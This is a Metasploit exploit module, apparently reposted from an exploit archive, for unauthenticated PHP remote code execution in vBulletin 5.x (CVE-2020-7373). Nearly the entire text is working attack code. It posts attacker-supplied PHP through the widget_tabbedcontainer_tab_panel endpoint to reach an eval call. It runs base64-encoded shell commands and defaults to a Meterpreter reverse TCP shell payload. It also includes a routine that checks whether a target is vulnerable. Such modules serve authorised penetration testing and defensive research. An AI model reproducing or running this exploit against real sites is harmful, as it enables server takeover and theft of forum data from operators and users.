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vBulletin 5.x Remote Code Execution Exploit
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## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] } def initialize(info = {}) super( update_info( info, 'Name' => 'vBulletin 5.x /ajax/render/widget_tabbedcontainer_tab_panel PHP remote code execution.', 'Description' => %q{ This module exploits a logic bug within the template rendering code in vBulletin 5.x. The module uses the vBulletin template rendering functionality to render the 'widget_tabbedcontainer_tab_panel' template while also providing the 'widget_php' argument. This causes the former template to load the latter bypassing filters originally put in place to address 'CVE-2019-16759'. This also allows the exploit to reach an eval call with user input allowing the module to achieve PHP remote code execution on the target. This module has been tested successfully on vBulletin version 5.6.2 on Ubuntu Linux. }, 'Author' => [ 'Zenofex <zenofex[at]exploitee.rs>' # (@zenofex) PoC and Metasploit module ], 'References' => [ ['URL', 'https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/'], ['CVE', '2020-7373'] ], 'DisclosureDate' => '2020-08-09', 'License' => MSF_LICENSE, 'Platform' => ['php', 'unix', 'windows'], 'Arch' => [ARCH_CMD, ARCH_PHP], 'Privileged' => true, 'Targets' => [ [ 'Meterpreter (PHP In-Memory)', 'Platform' => 'php', 'Arch' => [ARCH_PHP], 'Type' => :php_memory, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'DisablePayloadHandler' => false } ], [ 'Unix (CMD In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic', 'DisablePayloadHandler' => true } ], [ 'Windows (CMD In-Memory)', 'Platform' => 'windows', 'Arch' => ARCH_CMD, 'Type' => :windows_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic', 'DisablePayloadHandler' => true } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The URI of the vBulletin base path', '/']), OptEnum.new('PHP_CMD', [true, 'Specify the PHP function in which you want to execute the payload.', 'shell_exec', ['shell_exec', 'exec']]) ]) end def cmd_payload(command) "echo #{datastore['PHP_CMD']}(base64_decode('#{Rex::Text.encode_base64(command)}')); exit;" end def execute_command(command) response = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/ajax/render/widget_tabbedcontainer_tab_panel'), 'encode_params' => true, 'vars_post' => { 'subWidgets[0][template]' => 'widget_php', 'subWidgets[0][config][code]' => command } }) if response && response.body return response end false end def check rand_str = Rex::Text.rand_text_alpha(8) received = execute_command(cmd_payload("echo #{rand_str}")) if received && received.body.include?(rand_str) return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit print_status("Sending #{datastore['PAYLOAD']} command payload") case target['Type'] when :unix_cmd, :windows_cmd cmd = cmd_payload(payload.encoded) vprint_status("Generated command payload: #{cmd}") received = execute_command(cmd) if received && (datastore['PAYLOAD'] == "cmd/#{target['Platform']}/generic") print_warning('Dumping command output in body response') if received.body.empty? print_error('Empty response, no command output') return end print_line(received.body.to_s) end when :php_memory vprint_status("Generated command payload: #{payload.encoded}") execute_command(payload.encoded) end end end # 0day.today [2024-07-02] #